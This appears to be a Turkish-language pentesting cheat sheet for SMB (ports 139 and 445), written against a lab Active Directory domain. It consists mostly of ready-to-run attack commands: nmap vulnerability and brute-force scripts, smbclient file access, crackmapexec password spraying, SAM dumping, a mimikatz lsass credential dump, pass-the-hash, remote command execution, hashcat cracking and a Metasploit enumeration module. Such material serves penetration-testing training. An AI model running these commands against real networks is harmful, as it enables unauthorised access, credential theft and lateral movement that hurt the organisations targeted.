Pentesting SMB - 139 & 445
Smb Version
Nmap Vulns for SMB
Nmap
--script –smb-enum-shares –p 139,445 [ip]
Nmap
–script smb-vuln* -p 139,445 [ip]
--script smb-vuln* smb zafiyetleri ile ilgili bünyesinde barındırdığı tüm scriptleri çalıştıracaktır.
nmap --script smb-brute -p 445 <IP>
brute user
Bilgi Toplama
Enum4Linux
SMBCLIENT - LIST FOLDERS & SHARES
Enum4linux ile hedef hakkında bazı bilgiler topladık. Artık sistemdeki SMB ile gerçekten etkileşim kurmak için temel araçlardan biri olan smbclient kullanabiliriz. Gerçekten iletişimden kastımız, dosya indirebilir, silebilir, yükleyebiliriz.
Bağlantı ve kimlik doğrulama yapmadan basit bir şekilde dosyaları listeleyebiliriz. Benim AD'de dosya paylaşımı olmadığı için burada çıkmadı. Bizden parola istiyor, bunu boş geçelim. Eğer kötü bir yapılanma varsa domainde listeleme yapılabilir.
Eğer boş kabul etmezse ve elimiz de bir user-pass varsa bu şekilde giriş yapabiliriz smb'ye.
get komutu ile smb'den ana hostumuza dosya çekebiliriz.
put komuyu ile ana hosttan smb'ye dosya atabiliriz.
Örnekler çoğaltılabilir.
SMBMAP
Crackmapexec
Crackmapexec ağ tarama ve post-exploitation aracıdır. Araç içerisinde impacket, mimikatz gibi sıkca kullanılan modülleri bir araya toplamıştır. Adını buradan almıştır:
CredCrack
SmbMap
SmbExec
Bu üç aracın yaptığı ve daha birçok şeyi yapabilecek bir araçtır.
Ağda ki cihazları, isimlerini, OS ismini, SMB signing vs gibi birçok şeyi görebiliriz. Bunun için aşağıdaki komutu çalıştırmamız yeterlidir.
Network Scan with CME
SMB protokolü açık olan ağ cihazlarını tespit etmek için aşağıdaki komutları kullanacağız.
crackmapexec smb 192.168.158.0/24 #bulundugumuz agi tara(port:445)
Cackmapexec bize yukarıdaki resimde ki gibi domain adı ve bilgisayar adı gibi atak yapılabilecek bilgileri almamıza sebep olabilmektedir. Signing özelliği aktif ise LLMNR-NetBIOS poisoning yapmamıza olanak sağlamaktadır. Ve yine SMBv1 “true” olarak göstermektedir.
Parola Politikasını Tespit Etme
crackmapexec 192.168.158.139 -u tturhan -p ‘Password1’ --pass-pol
Kullanıcı Listesi Çıkarma
crackmapexec smb 192.168.158.0/24 -u tturhan -p Password1 --rid-brute
SMB Paylaşımlarının Tespiti
crackmapexec smb 192.168.158.139 -u tturhan -p Password1 –shares
Paylaşımlar arasında bir kelime aramak istersek;
crackmapexec smb 192.168.158.0/24 -u tturhan -p Password1 --spider Sysvol --pattern Groups.xml
crackmapexec smb 192.168.158.0/24 -u tturhan -p Password1 --spider Users --pattern txt xml
Brute Force ve Password Spraying
Birden fazla cihaz üzerinde birden fazla parola ve kullanıcı adı denenebilir. Birden fazla cihaz da parola denendiği için hesapların kilitlenmesi de önlenmiş olur çünkü bir şifreyi sırayla başka cihazlarda da dener ve arada ki süre uzadığı için hesap kilitlenmez.
crackmapexec smb 192.168.158.0/24 -u tturhan -p 12345678, Password1, 123456
Aynı şekilde kullanıcı brute force'u da yapılabilir.
crackmapexec smb 192.168.2.0/24 -u user1 user2 user3 -p pass1
crackmapexec smb 192.168.2.0/24 -u user1 -p pass1 pass2 pass3
crackmapexec smb 192.168.2.0/24 -u user.txt -p pass1
crackmapexec smb 192.168.2.0/24 -u user1 -p pass.txt
Eğer bulunan kullanıcı yetkili ise (Pwn3d) diye bir yazı gösterilir.
Hash Dump
Yakalanan hashi hashcat ile kırabiliriz.
hashcat -m2100 -a 0 -o cikti.txt pass.txt -force
SAM Dumped
crackmapexec smb 192.168.158.139 -u <username> -p <pass> --sam
Lsass.exe dump with Mimikatz & NTLM hash
Mimikatz modulü ile lsass.exe üzerinden aktif olan oturumları görebiliriz.
crackmapexec smb 192.168.2.131 -u <username> -p <pass> -M mimikatz
PTH (Pass THE Hash) Attack
crackmapexec smb 192.168.1.0/24 -u Administrator -H <hash_value>
Komut Çalıştırma
crackmapexec 192.168.158.139 -u tturhan -p ‘Password1’ -x ipconfig
x parametresi ile komut çalıştırabiliriz.
SMB User List With Metasploit
use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(smb_enumusers) > set rhosts 192.168.158.139
msf auxiliary(smb_enumusers) > set smbuser tturhan
msf auxiliary(smb_enumusers) > set smbpass Password1
msf auxiliary(smb_enumusers) > exploit
Last updated